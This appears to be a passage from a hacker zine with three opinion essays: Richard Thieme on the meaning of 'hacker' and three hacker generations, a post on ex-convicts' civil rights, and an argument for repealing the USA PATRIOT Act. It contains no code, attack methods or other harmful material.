The word originally meant an inventive type, someone creative and unconventional, usually involved in a technical feat of legerdemain, a person who saw doors where others saw walls or built bridges that others thought were planks on which to walk into shark‑filled seas. Hackers were alive with the spirit of Loki or Coyote or the Trickster, moving with stealth across boundaries, often spurning conventional ways of thinking and behaving. Hackers see deeply into the arbitrariness of structures, how form and content are assembled in subjective and often random ways and therefore how they can be defeated or subverted. They see atoms where others see a seeming solid, and they know that atoms are approximations of energies, abstractions, mathematical constructions. At the top level, they see the skull behind the grin, the unspoken or unacknowledged but shared assumptions of a fallible humanity. Thats why, as in Zen monasteries, where mountains are mountains and then they are not mountains and then they are mountains again, hacker lofts are filled with bursts of loud spontaneous laughter.

Then the playful creative things they did in the protected space of their mainframe heaven, a playfulness fueled by the passion to know, to solve puzzles, outwit adversaries, never be bested or excluded by arbitrary fences, never be rendered powerless, those actions began to be designated acts of criminal intent.. That happened when the space inside the mainframes was extended through distributed networks and ported to the rest of the world where things are assumed to be what they seem. A psychic space designed to be open, more or less, for trusted communities to inhabit, became a general platform of communication and commerce and security became a concern and an add‑on. Legal distinctions which seemed to have been obliterated by new technologies and a romantic fanciful view of cyberspace a la Perry Barlow were reformulated for the new not‑so‑much cyberspace as cyborgspace where everyone was coming to live. Technologies are first astonishing, then grafted onto prior technologies, then integrated so deeply they are constitutive of new ways of seeing and acting, which is when they become invisible.

A small group, a subset of real hackers, mobile crews who merely entered and looked around or pilfered unsecured information, became the definition the media and then everybody else used for the word "hacker. "A hacker became a criminal, usually defined as a burglar or vandal, and the marks of hacking were the same as breaking and entering, spray painting graffiti on web site walls rather than brick, stealing passwords or credit card numbers.

At first real hackers tried to take back the word but once a word is lost, the war is lost. Hackernow means for most people a garden variety of online miscreant and words suggested as substitutes like technophile just don't have the same juice.

So let's use the word hacker here to mean what we know we mean because no one has invented a better word. We dont mean script kiddies, vandals, or petty thieves. We mean men and women who do original creative work and play at the tip of the bell curve, not in the hump, we mean the best and brightest who cobble together new images of possibility and announce them to the world. Original thinkers. Meme makers. Artists of pixels and empty spaces.

Second, the meaning of hacker generations

========================================

In a speech at the end of his two terms as president, Dwight Eisenhower coined the phrase "military‑industrial complex" to warn of the consequences of a growing seamless collusion between the state and the private sector. He warned of a changing approach to scientific research which in effect meant that military and government contracts were let to universities and corporations, redefining not only the direction of research but what was thinkable or respectable in the scientific world. At the same time, a "closed world" as Paul N. Edwards phrased it in his book of the same name, was evolving, an enclosed psychic landscape formed by our increasingly symbiotic interaction with the symbol‑manipulating and identity‑altering space of distributed computing, a space that emerged after World War II and came to dominate military and then societal thinking.

Eisenhower and Edwards were in a way describing the same event, the emergence of a massive state‑centric collaboration that redefined our psychic landscape. After half a century Eisenhower is more obviously speaking of the military‑industrial‑educational‑entertainment‑and‑media establishment that is the water in which we swim, a tangled inescapable mesh of collusion and self‑interest that defines our global economic and political landscape.

The movie calls it The Matrix. The Matrix issues from the fusion of cyborg space and the economic and political engines that drive it, a simulated world in which the management of perception is the cornerstone of war‑and‑peace (in the Matrix, war is peace and peace is war, as Orwell foretold). The battlespace is as perhaps it always has been the mind of society but the digital world has raised the game to a higher level. The game is multidimensional, multi‑valent, played in string space. The manipulation of symbols through electronic means, a process which began with speech and writing and was then engineered through tools of literacy and printing is the currency of the closed world of our CyborgSpace and the military‑industrial engines that power it.

This Matrix then was created through the forties, fifties, sixties, and seventies, often invisible to the hackers who lived in and breathed it. The hackers noticed by the panoptic eye of the media and elevated to niche celebrity status were and always have been creatures of the Matrix. The generations before them were military, government, corporate and think‑tank people who built the machinery and its webbed spaces.

So I mean by the First Generation of Hackers, this much later generation of hackers that emerged in the eighties and nineties when the internet became an event and they were designated the First Hacker Generation, the ones who invented Def Con and all its spin‑offs, who identified with garage‑level hacking instead of the work of prior generations that made it possible.

Marshall McLuhan saw clearly the nature and consequences of electronic media but it was not television, his favorite example, so much as the internet that provided illustrations for his text. Only when the Internet had evolved in the military‑industrial complex and moved through incarnations like Arpanet and Milnet into the public spaces of our society did people began to understand what he was saying.

Young people who became conscious as the Internet became public discovered a Big Toy of extraordinary proportions. The growing availability of cheap ubiquitous home computers became their platform and when they were plugged into one another, the machines and their cyborg riders fused. They co‑created the dot com boom and the public net, and made necessary the security spaceperceived as essential today to a functional society. All day and all night like Bedouin they roamed the network where they would, hidden by sand dunes that changed shape and size overnight in the desert winds. That generation of hackers inhabited Def Con in the "good old days," the early nineties, and the other cons. They shaped the perception as well as the reality of the public Internet as their many antecedents at MIT, NSA, DOD and all the other three‑letter agencies co‑created the Matrix.

So I mean by the First Generation of Hackers that extended or distributed network of passionate obsessive and daring young coders who gave as much as they got, invented new ways of sending text, images, sounds, and looked for wormholes that let them cross through the non‑space of the network and bypass conventional routes. They constituted an online meritocracy in which they bootstrapped themselves into surrogate families and learned together by trial and error, becoming a model of self‑directed corporate networked learning. They created a large‑scale interactive system, self‑regulating and self‑organizing, flexible, adaptive, and unpredictable, the very essence of a cybernetic system.

Then the Second Generation came along. They had not co‑created the network so much as found it around them as they became conscious. Just a few years younger, they inherited the network created by their elders. The network was assumed and socialized them to how they should think and act. Video games were there when they learned how to play. Web sites instead of bulletin boards with everything they needed to know were everywhere. The way a prior generation was surrounded by books or television and became readers and somnambulistic watchers , the Second Generation was immersed in the network and became surfers. But unlike the First Generation which knew their own edges more keenly, the net made them cyborgs without anyone noticing. They were assimilated. They were the first children of the Matrix.

In a reversal of the way children learned from parents, the Second Generation taught their parents to come online which they did but with a different agenda. Their elders came to the net as a platform for business, a means of making profits, creating economies of scale, and expanding into a global market. Both inhabited a simulated world characterized by porous or disappearing boundaries and if they still spoke of a digital frontier, evoking the romantic myths of the EFF and the like, that frontier was much more myth than fact, as much a creation of the dream weavers at CFP as the old west was a creation of paintings, dime novels and movies.

They were not only fish in the water of the Matrix, however, they were goldfish in a bowl. That environment to which I have alluded, the military‑industrial complex in which the internet evolved in the first place, had long since built concentric circles of observation or surveillance that enclosed them around. Anonymizers promising anonymity were created by the ones who wanted to know their names. Hacker handles and multiple nyms hid not only hackers but those who tracked them. The extent of this panoptic world was hidden by denial and design. Most on it and in it didn't know it. Most believed the symbols they manipulated as if they were the things they represented, as if their tracks really vanished when they erased traces in logs or blurred the means of documentation. They thought they were watchers but in fact were also watched. The Eye that figures so prominently in Blade Runner was always open, a panoptic eye. The system could not be self‑regulating if it were not aware of itself, after all. The net is not a dumb machine, it is sentient and aware because it is fused bone‑on‑steel with its cyborg riders and their sensory and cognitive extensions.

Cognitive dissonance grew as the Second Generation spawned the Third. The ambiguities of living in simulated worlds, the morphing of multiple personas or identities, meant that no one was ever sure who was who. Dissolving boundaries around individuals and organizational structures alike ("The internet? C'est moi!") meant that identity based on loyalty, glue born of belonging to a larger community and the basis of mutual trust, could not be presumed.

It's all about knowing where the nexus is, what transpires there at the connections. The inner circles may be impossible to penetrate but in order to recruit people into them, there must be a conversation and that conversation is the nexus, the distorted space into which one is unknowingly invited and often subsequently disappears. Colleges, universities, businesses, associations are discovered to be Potemkin villages behind which the real whispered dialogue takes place. The closed and so‑called open worlds interpenetrate one another to such a degree that the nexus is difficult to discern. History ends and numerous histories take their place, each formed of an arbitrary association and integration of data classified or secret at multiple levels and turned into truths, half‑truths, and outright lies.

Diffie‑Hellman's public key cryptography, for example, was a triumph of ingenious thinking, putting together bits of data, figuring it out, all outside the system, but Whit Diffie was abashed when he learned that years earlier (1969) James Ellis inside the closed worldof British intelligence had already been there and done that. The public world of hackers often reinvents what has been discovered years earlier inside the closed world of compartmentalized research behind walls they can not so easily penetrate. (People really can keep secrets and do.) PGP was well, do you really think that PGP was news to the closed world?

In other words, the Second Generation of Hackers, socialized to a networked world, also began to discover another world or many other worlds that included and transcended what was publicly known. There have always been secrets but there have not always been huge whole secret WORLDS whose citizens live with a different history entirely but thats what we have built since the Second World War. Thats the metaphor at the heart of the Matrix and that's why it resonates with the Third Generation. A surprising discovery for the Second Generation as it matured is the basis for high‑level hacking for the Third.

The Third Generation of Hackers knows it was socialized to a world co‑created by its legendary brethren as well as numerous nameless men and women. They know that we inhabit multiple thought‑worlds with different histories, histories dependent on which particular bits of data can be bought on the black market for truth and integrated into Bigger Pictures. The Third Generation knows there is NO one Big Picture, there are only bigger or smaller pictures depending on the pieces one assembles. Assembling those pieces, finding them, connecting them, then standing back to see what they say ‑ that is the essence of Third Generation hacking. That is the task demanded by the Matrix which is otherwise our prison, where inmates and guards are indistinguishable from each other because we are so proud of what we have built that we refuse to let one another escape.

That challenge demands that real Third Generation hackers be expert at every level of the fractal that connects all the levels of the network. It includes the most granular examination of how electrons are turned into bits and bytes, how percepts as well as concepts are framed and transported in network‑centric warfare/peacefare, how all the layers link to one another, which distinctions between them matter and which dont. How the seemingly topmost application layer is not the end but the beginning of the real challenge, where the significance and symbolic meaning of the manufactured images and ideas that constitute the cyborg network create a trans‑planetary hive mind. That's where the game is played today by the masters of the unseen, where those ideas and images become the means of moving the herd, percept turned into concept, people thinking they actually think when what has in fact already been thought for them has moved on all those layers into their unconscious constructions of reality.

Hacking means knowing how to find data in the Black Market for truth, knowing what to do with it once it is found, knowing how to cobble things together to build a Big Picture. The puzzle to be solved is reality itself, the nature of the Matrix, how it all relates. So unless youre hacking the Mind of God, unless you're hacking the mind of society itself, you arent really hacking at all. Rather than designing arteries through which the oil or blood of a cyborg society flows, you are the dye in those arteries, all unknowing that you function like a marker or a bug or a beeper or a gleam of revealing light. You become a means of control, a symptom rather than a cure.

The Third Generation of Hackers grew up in a simulated world, a designer society of electronic communication, but sees through the fictions and the myths. Real hackers discover in their fear and trembling the courage and the means to move through zones of annihilation in which everything we believe to be true is called into question in order to reconstitute both what is known and our knowing Self on the higher side of self‑transformation. Real hackers know that the higher calling is to hack the Truth in a society built on designer lies and then the most subtle, most difficult part ‑ manage their egos and that bigger picture with stealth and finesse in the endless ambiguity and complexity of their lives.

The brave new world of the past is now everyday life. Everybody knows that identities can be stolen which means if they think that they know they can be invented. What was given to spies by the state as a sanction for breaking laws is now given to real hackers by technologies that make spies of us all.

Psychological operations and information warfare are controls in the management of perception taking place at all levels of society, from the obvious distortions in the world of politics to the obvious distortions of balance sheets and earnings reports in the world of economics. Entertainment, too, the best vehicle for propaganda according to Joseph Goebbels, includes not only obvious propaganda but movies like the Matrix that serve as sophisticated controls, creating a subset of people who think they know and thereby become more docile. Thanks for that one, SN.

The only free speech tolerated is that which does not genuinely threaten the self‑interest of the oligarchic powers that be. The only insight acceptable to those powers is insight framed as entertainment or an opposition that can be managed and manipulated.

Hackers know they don't know what's real and know they can only build provisional models as they move in stealthy trusted groups of a few. They must assume that if they matter, they are known which takes the game immediately to another level.

So the Matrix like any good cybernetic system is self‑regulating, builds controls, has multiple levels of complexity masking partial truth as Truth. Of what else could life consist in a cyborg world? All over the world, in low‑earth orbit, soon on the moon and the asteroid belt, this game is played with real money. It is no joke. The surrender of so many former rights ‑ habeas corpus, the right to a trial, the freedom from torture during interrogation, freedom of movement without papers in ones own country ‑ has changed the playing field forever, changed the game.

Third Generation Hacking means accepting nothing at face value, learning to counter counter‑threats with counter‑counter‑counter‑moves. It means all means and ends are provisional and likely to transform themselves like alliances on the fly.

Third Generation Hacking is the ability to free the mind, to live vibrantly in a world without walls.

Do not be deceived by uniforms, theirs or ours, or language that serves as uniforms, or behaviors. There is no theirs or ours, no us or them. There are only moments of awareness at the nexus where fiction myth and fact touch, there are only moments of convergence. But if it is all on behalf of the Truth it is Hacking. Then it can not fail because the effort defines what it means to be human in a cyborg world. Hackers are aware of the paradox, the irony and the impossibility of the mission as well as the necessity nevertheless of pursuing it, despite everything. That is, after all, why they're hackers.

Thanks to Simple Nomad, David Aitel, Sol Tzvi, Fred Cohen, Jaya Baloo, and many others for the ongoing conversations that helped me frame this article.

Richard Thieme

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑=[ Citizen Questions on Citizenship ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

by Bootleg

(Please READ everything then check out my posts by Bootleg on this forum: http://forums.gunbroker.com/topic.asp?TOPIC_ID=22130)

"A Citizen Questions on Citizenship" or "Are outlaws screwing your inlaws without laws?"

What's the difference in "Rights" between a citizen who is an excon and a citizen who is not? What law gives the government the right to permanently take away certain rights from an excon without a judge proscribing the rights be taken away? When has an excon ever been taken to court to have his civil rights stripped away permanently?

When has an excon ever been arrested and prosecuted on any law that specifically says since they are excons they must now go to trial to fight for their right to keep all their civil rights? In American law, ONLY a JUDGE can proscribe penalties against a citizen and only after being allowed a trial by his peers and only for specific charges brought against him. How then can an excons rights be stripped away if he has never been in front of a judge for a charge of possessing civil rights illegally? What law exists that states certain civil rights exist only for certain people?

I've been convicted of several felonies and not once during sentencing has any judge ever said I was to loose any of my civil rights as part of my sentence! If no judge has ever stripped my rights as part of any criminal sentence they gave me, how then can I not still have them? Furthermore... why does my wife and children also loose some of their civil rights simply because they are part of my family even though they have never committed any crime????

Are excons having their civil rights taken WITHOUT due process and without equal protection the true intent of the Bill of Rights and the Constitution? Or should all rights be restored after an excon pays his debt to society like they have always been throughout our history? Since an excon is still a citizen, then what kind of citizen is he under our Constitution that states all citizens have equal rights? If the government can arbitrarily take most of an excons rights away without due process, can they then take one or more rights away from other groups of citizens as they see fit thus making a layered level of citizenship with only certain groups enjoying full rights? Either they can do this or they can't according to the Constitution. If they do it to even one group of citizens...excons, then are they not violating the Constitution? Are all American citizens "EQUAL" the Constitution and is that not the intent of those that wrote the constitution as evidenced by their adding the "Bill of Rights" guaranteeing "Equality" for ALL citizens?

Just as "blacks" were slaves and had no rights even as freemen in the past, even as women couldn't vote till the 20th century, even as the aged and disabled were denied equal rights till recently, so now does one more group of millions of citizens exist that are being uncoonstitutionally denied their birthright as American citizens. This group is the millions of American citizens that are exconvicts and their families! ARE THEY CITIZENS OR NOT? The law says they still are citizens even if they are excons. If this is the case, then under our Constitution, are not ALL citizens equal having equal rights?

If so, then exconvicts are illegally being persecuted and discriminated against along with their families. How would you rectify this?

Nuff Said‑

Bootleg

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑=[ The Molting Wings of Liberty ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

by Beaux75

Thesis: The USA PATRIOT Act (USAPA) is too restrictive of the rights mandated by the Constitution and must be repealed.

I. Introduction

A. Circumstances leading up to the USAPA

B. A rushed job

C. Using public anxiety and war fever to push an unjust bill II. Domestic spying and the end of probable cause

A. Breaking down restrictions on unlawful surveillance B. Side‑stepping court orders and accountability C. Sneak and peek

III. Immigrants as suspects

A. Erosion of due process for legal immigrants B. Criminal behavior now subject to detention and deportation C. Denying entry based on ideology

IV. Defining the threat

A. Accepted definition of terrorism

B. The USAPA and its overbroad definition

C. "Domestic terrorism"

V. Silencing dissent

A. Questioning government policy can now be terrorism B. Public scrutiny encouraged by present administration 1. Recruiting Americans to inform on Americans 2. Blind faith in political matters 3. Keeping our leaders in check and our citizens informed VI. Refuting common retort

A. "I do not want to be a victim of terrorism." B. "I have nothing to worry about because I am not a terrorist." C. "I am willing to compromise my civil rights to feel safer." VII. The future of civil rights at the present pace

A. Expansion of unprecedented and unchecked power B. The illusion of democracy and our descent into fascism C. Our leaders no longer have the public's best interests in mind VIII. Conclusion

A. The USAPA trounces the rights guaranteed to all Americans B. People must stay informed

C. Vigilance in the struggle to maintain freedom

Pros:

1. Act is unjust and violates civil liberties 2. Definition of "terrorist" reaches too far 3. Act is a stepping‑stone toward fascism 4. Signals the decline of a democracy Cons:

1. Limits the effectiveness of anti‑terrorism efforts 2. No longer have broad and corruptible powers 3. Must find new ways to prevent terrorism 4. Must maintain the rights of the people

The Molting Wings of Liberty

In the darker alleys of Washington, DC, something very disturbing is taking shape. Assaults on our civil liberties and our very way of life are unfolding before us, yet somehow we are blind to it. What is shielding us from the truth about the future of America is the cataract of ignorance and misinformation brought on by mass paranoia. One thing is definite and overwhelming when the haze is lifted: our elected officials are knowingly sacrificing our rights under the guise of national security.

In the six weeks after the worst terrorist attacks on US soil, a bill was hastily written and pushed through congress granting the executive branch extensive and far reaching powers to combat terrorism. Thus, the awkwardly named "Uniting and Strengthening America by Providing Appropriate Tools Required to Intercept and Obstruct Terrorism" or USA PATRIOT Act (USAPA) was signed into law on October 26, 2001. President George W. Bush, in his remarks on the morning of the bill's signing stated, "Today we take an essential step in defeating terrorism, while protecting the constitutional rights of all Americans" (1). How can it be said that this law protects our constitutional rights when it can be utilized to violate five of the ten amendments in the Bill of Rights? The USAPA is a classic example of political over‑correction: it may provide our government and law enforcement agencies with "appropriate tools" for combating terrorism, but at what cost to the basic freedoms that this country was founded upon?

Simply put, the USA PATRIOT Act is extremely dangerous to the American people because its potential for corruptibility is so great. Still, the 342‑page tract was forced through Congress in near record time with next to no internal debate and very little compromised revision. Despite massive objection from civil rights watchdogs, it passed by an unprecedented vote of 356‑to‑66 in the House of Representatives, and 98‑to‑1 in the Senate (Chang). The Bush administration considered the USAPA an astounding bipartisan success, but neglected to inform the public of exactly what its provisions called for and conveniently left out that, in order to gain such an encompassing victory, many of the new powers were superceded by a "sunset clause" making some of the more sweeping and intrusive abilities subject to expiration on December 31, 2005. Most recently, there have been numerous reports of the Republican controlled Congress and their attempts to lift the sunset clause making these broad powers permanent ("GOP Wants")

Admittedly, the abilities mandated in the USAPA might help to counteract terrorism to a minor degree, but the price of such inspired safety means the systematic retooling of the very principles that every American citizen is entitled to. There is no doubt that this legislation is a result of public outcry to ensure the events of September 11, 2001 never happen again, but the administration's across‑the‑board devotion to internal secrecy was largely able to keep the bill from public eyes until after it was jettisoned into law. Even now, more than a year and a half after its inception, no one seems to know what the USAPA is or does.

From the Senate floor, under scrutiny for his lone vote against the USAPA legislation, Wisconsin Senator Russ Feingold delivered his thoughts on the bill:

There is no doubt that if we lived in a police state, it would be easier to catch terrorists. If we lived in a country where police were allowed to search your home at any time for any reason; if we lived in a country where the government is entitled to open your mail, eavesdrop on your phone conversations, or intercept your e‑mail communications; if we lived in a country where people could be held in jail indefinitely based on what they write or think, or based on mere suspicion that they are up to no good, the government would probably discover more terrorists or would‑be terrorists, just as it would find more lawbreakers generally. But that wouldn't be a country in which we would want to live. (qtd. in Hentoff)

Senator Feingold's words make up a very relevant issue that has been mentioned, but largely ignored by the Bush administration. It seems reasonable that most Americans would be willing to compromise certain liberties in order to regain the necessary illusion of safety. But what is not universal is that those compromises become permanent. In the wake of recent Republican activity and the other proposed methods of quashing terrorism, it is becoming more and more vital that the people of America educate themselves on this issue and urge their leaders to repeal the USAPA on the grounds that it is grossly unconstitutional.

At the heart of the USAPA, is its intent to break down the checks and balances among the three branches of government, allowing for a wholesale usurping of dangerous powers by the executive branch. Because of this bill, the definition of terrorism has been broadened to include crimes not before considered such; our first amendment rights of free speech, assembly and petition can now fall under the heading of "terrorist activity" and thusly, their usage will surely be discouraged; by merely being suspected of a crime, any crime, it can strip legal immigrants of their civil rights and subject them to indefinite detainment and possible deportation; and most alarmingly of all, in a fit of extreme paranoia, it allows for unprecedented domestic spying and intelligence gathering in a cold war like throwback to East Berlin's Ministry of State Security (STASI).

On the subject of domestic spying, news analyst Daniel Schorr, in an interview during All Things Considered on National Public Radio in the latter half of 2002 said, "Spying on Americans in America is a historic no‑no that was reconfirmed in the mid‑1970s when the CIA, the FBI and the NSA got into a peck of trouble with congress and the country for conducting surveillance on Vietnam War dissenters. A no‑no, that is until September 11th. Since then, the Bush administration has acted as though in order to protect you, it has to know all about you and everyone" (Neary).

Never before in the United States have law enforcement and intelligence agencies had such sweeping approval to institute programs of domestic surveillance. In the past, things like wire‑tapping, Internet and e‑mail monitoring, even access to library records were regulated by judicial restrictions in conjunction with the fourth amendment and "probable cause." Because of the USAPA, warrants have been made virtually inconsequential and probable cause has become a thing of the past. Medical records, bank transactions, credit reports and a myriad of other personal records can now be used in intel gathering (Collins). Even the restrictions on illegally gained surveillance and so‑called "sneak and peek" searches (that allow for covert, unwarranted, and in many cases unknown, searches and possible seizures of private property) have been lifted to the point of perhaps being admissible as evidence. Mind you, this is not just for suspicion of terrorist activity, but rather all criminal activity and it can be corrupted to spy on anyone, regardless of being a suspect or not. In addition to all of this, there is a clause in the USAPA that insulates the agencies who use and abuse these powers from any wrong doing as long as they can illustrate how their actions pertain to national security (Chang). Under these provisions, everyone is a suspect, regardless of guilt. When no meaningful checks and balances are in play, there is enormous capacity for corruption.

For the sake of argument, say that an administration has a faceless enemy in which they know to be affiliated with an organization that questions recent government policy. With this new power, the entire organization and all of its present, past and future members can be spied on by local and national law enforcement agencies. Thanks to unchecked sneak and peek searches, the members' private lives are now open for scrutiny and the intelligence gathered can be used to trump up charges of wrong‑doing, even though the organization and its members have had their first and fourth amendments clearly violated. And because of asset forfeiture laws already long in place, the government can now seize the organization's and its members' property at will as long as they are labeled as suspects. Whether the case makes it to a courtroom or not is irrelevant. The government can now publicly question the integrity of the organization, thereby damaging its credibility and possibly negating its cause. All this, and much worse, can now be done legally and virtually without accountability.

This closely parallels the 1975 Watergate investigation. On this topic, Jim McGee, journalist for The Washington Post, writes, "After wading through voluminous evidence of intelligence abuses, a committee led by Sen. Frank Church warned that domestic intelligence‑gathering was a 'new form of governmental power' that was unconstrained by law, often abused by presidents and always inclined to grow" (1).

Another flagrant disregard for basic civil and human rights is the USAPA's stance on criminality and immigration. We have already seen immigrants suspected of crimes being detained unjustly. In the near future, we should expect to see a rise in deportation as well as a further erosion of due process for legal immigrants. It has now become legal to detain immigrants, whether under suspicion of criminality or not, for indefinite periods of time and without access to an attorney (Chang). This is in clear violation of their constitutional rights, but with the fear of terrorism looming overhead, anyone who champions their cause is subject to public survey. Immigration is a hot potato of unjust activity, but one that many Americans seem apt to ignore. Newcomers to our country are already treated as inferiors by our government and now, because of the USAPA legislation, they are treated as suspects before any crime is even committed. More alarmingly, federal law enforcement agencies now have influence to keep certain ethnicities out of America based on "conflicting ideologies" (Chang). The message being sent: conform to American standards and belief systems or risk deportation. The clause sounds more like a scare tactic in order to keep what some deem as undesirables at bay, rather than a tool for preventing terrorism.

Even the definition of "terrorism" has undergone a major overhaul in the USAPA. Since 1983, the United States defined terrorism as "the premeditated, politically motivated violence perpetrated against noncombatant targets by subnational groups or clandestine agents, usually intended to influence an audience" (Chang). Essentially, it draws the line at people who intend to impact a government through violence of its civilians. This definition has been around for close to twenty years and has served its purpose well because of its straightforwardness. It addresses the point, and it does not overreach its bounds by taking into consideration acts or organizations that are not related to terrorism. As of October 26, 2001, the definition has become muddled enough to include "intimidation of civilian population," "affecting the conduct of government through mass destruction, assassination or kidnapping," or any act that is "dangerous to human life." It also spurs off to include "domestic terrorism" which is an act of terrorism by an internal organization (ACLU 04‑Apr‑03). All of these pieces can be legitimately molded to include activists, protestors, looters and rioters (all potentially dangerous to human life); embezzlers and so‑called computer hackers (dangerous to financial institutions and therefore intimidating to civilians and government); serial killers, mass murderers, serial rapists (dangerous to human life and intimidation of civilians); and can even be stretched to the point of including writers, publishers, journalists, musicians, comedians, pundits and satirists based solely on their scope of influence. To think that by increasing the size of the terrorism umbrella, organizations like People for the Ethical Treatment of Animals (PETA), Food Not Bombs (FNB), and Anti‑Racist Action (ARA) not to mention hundreds of thousands of outspoken protestors and activists for political and social change can be lumped in with the same international terrorist factions we have been hearing about for years.

In a report from the ACLU dated December 14, 2001, Gregory T. Nojeim, Associate Director of the Washington National Office stated: There are very few things that enjoy almost unanimous agreement in this country. One of the most important is our collective dedication to the ideals of fairness, justice and individual liberty. Much of our government is structured around the pursuit of each of these ideals for every American citizen. The Administration's actions over the past three months ‑ its dedication to secrecy, the tearing down of barriers between intelligence gathering and domestic law enforcement and the erosion of judicial authority ‑ are not in tune with these ideals. (ACLU 20‑Apr‑03)

All of these provisions taken into account, it makes one wonder if the Bush administration's commitment to ending terrorism is part of a larger commitment to end political dissent in general. After all, why else would a bill that so blatantly violates our basic civil liberties have been rushed through congress and signed into law on the horns of legitimate public anxiety and war fever? Thanks to the USAPA, the war on terrorism no longer seems concentrated on reducing the loss of innocent life at the hands of those who would kill to influence our government so much as it focuses on anyone who would like to influence the government regardless of their means or intended ends.

Now is the time, when our leaders see fit to begin whittling away at our basic rights that we need to be and stay informed and be as vocal as possible. Unfortunately, being outspoken may now land us in hot water, as we are now subject to the frivolous and unjust laws contained in the USAPA. Logic follows that if a government sees its own people as a threat, then it will do what it can to effectively gag them. Why would the American people be seen as a threat? All we have to do is wait out the current term and vote someone else into his or her place. That is, unless the right to vote is next on the chopping block.

Never before has their been a time when questioning government action can turn someone into a terrorist and therefore an enemy of his own country. Standing up for beliefs is terrorist activity? Voicing opinions and writing letters to officials is terrorist activity? The right to privacy and against unreasonable searches and seizures without probable cause is now terrorist activity? No! These are rights guaranteed to us by our country's charter!

Our leaders have seen fit to draw lines on the pavement and demand its allies on one side and its enemies on the other. They are recruiting Americans to spy and inform on other Americans without discretion while needlessly inflating the importance of such buzzword‑labels as "unpatriotic," and "un‑American." In addition, they are requiring those on their side to have blind faith in their leadership. Blind faith is a good thing to have in certain walks of life, but political matters are most assuredly not one of them. The main reason being that we are all humans and therefore subject to the same shortcomings and corruptibility as every other human being. For our leaders to somehow suggest that they are above this means that they are extremely misguided in their pursuits and may no longer hold the public's best interests in mind.

A report issued by the Center for Constitutional Rights (CCR) one year after September 11, 2001 contained this apt summation: The Bush Administration's war against terrorism, without boundary or clear end‑point, has led to serious abrogation of the rights of the people and the obligations of the federal government. Abuses, of Fourth and Fifth Amendment rights in particular, have been rampant, but more disturbing is the attempt to codify into law practices that erode privacy, free speech, and the separation of powers that is the hallmark of our democracy. (CCR 16)

Now is the time to become and stay informed and make sure that our leaders know that we are. There is a complacency that has permeated our culture, which dictates that people can not be bothered to take an interest in political policy. "Leave the politics to the politicians," is the usual cry. Many people don't even try to learn about governmental policy because they do not think they will understand it. Admittedly, politics is not as palatable as several thousand other things; root canal surgery somehow seems less painful. But it is imperative that we make the effort to protect ourselves from an administration that sees us as unwitting sheep. Especially now, when checks and balances are systematically being broken down within the structure of our governing body, it is upon us to keep our leaders from becoming excessively corrupt and hold them accountable for trying to trample on our freedoms.

The public anxiety caused by recent events has been overwhelming. There is no one in this country that wishes to be a victim of terrorism, and the odds of it happening are miniscule at best. Terrorism itself is a minor occurrence, but the fear of it has ballooned to the point of mass paranoia, which today, seems to be more of a mode of operation rather than a temporary affliction. It is wrong for our leaders to use that fear and paranoia in order to limit our freedoms, regardless of the cost.

There are those who feel that they have nothing to worry about because they are not terrorists. This logic is faulty because it assumes that our law enforcement agencies see us as innocents, which is no longer the case under the USAPA. Everyone is treated as a suspect until proven otherwise, and even then, the connotation of being a suspected terrorist is enough to ruin an innocent person's life. Under the 1983 definition of terrorism, far fewer people than what we are now told would fit the bill. By suspecting everyone, more overall undesirables will be weeded out but only a few of those will actually be terrorists.

Since the World Trade Center disaster, there has been mass speculation as far as what liberties we, as a nation, may have to give up as a result of national security. And there are those who are so afraid of the threat that they are willing to go along with this one‑sided argument. The other side, being both safe and free, has been largely ignored in the media and dodged right and left by the president's administration. It is perfectly normal to fear something, even to the point of being willing to give up anything just to make the fear subside, but it cannot be expected that everyone, or even a simple majority, feel the same way. The difference in opinion must be addressed and the sound basis of freedoms that our country was founded upon must remain intact if we are still to be entitled to life, liberty and happiness.

Some would say that the future of our civil rights is hazy and unforeseeable. When examining the USAPA and the precedents it sets, the future becomes very clear. If we allow the provisions contained in the USAPA to linger, we can expect an expansion of that kind of unchecked power. In fact, plans are already underway. Attorney General John Ashcroft is one of the parties involved in drafting what has been called "Patriot II." If the bill is passed, the entropy of civil liberties in America will continue unhindered. The bill will further erode governmental checks and balances and expand the already loose definition of terrorism to incorporate all outspoken dissidents, and hold media outlets responsible for airing or printing what would be deemed as domestic terrorism. Under this power, mass media would theoretically cease any kind of editorial, unpopular opinion, quite possibly even normal news coverage out of fear of responsibility.

If our country remains on its current course, it is said that we will become less and less of a democracy and more of a fascist parliamentary dictatorship. Eventually, our way of life will be hollowed out from the inside and only the most trivial of freedoms will remain. Deeper down, we will become a nation of benign citizens under state control, and the smart money says that we will still be told that America is the greatest democracy in the world.

This is why we must stay informed and why we must remain vigilant in our struggle to maintain our freedom. The USAPA is detrimental to American society because at its core, it operates under the assumption that anyone could be a terrorist, or more generally, a threat to government policy. In a true democracy, organizations like the ACLU, Bill of Rights Defense Committee (BORDC), and Center for Constitutional Rights (CCR) would not be needed because all laws would be passed with our basic civil liberties in mind. Unfortunately, this is no longer (has it ever truly been?) the case.

The freedoms to voice our opinions and to assemble with others of a like‑mind have been instrumental rights that we have utilized in order to make sure our government hears us. Beyond that, they have played a major role in keeping our leaders from excessive corruption. When our officials begin to make laws that counteract our freedoms, then it is time to raise our voices in unity despite the possibility of being called un‑American. When our government begins to recruit Americans to inform on other Americans, then it is time for open defiance because living in a world where you can't trust your neighbor is not a world worth living in and a government that cannot trust its own citizens is a government that itself cannot be trusted. When our leaders tell us that our voices and our actions are only aiding America's enemies, then it is time to stand up and show our leaders that we are not the servile sheep that they think we are.

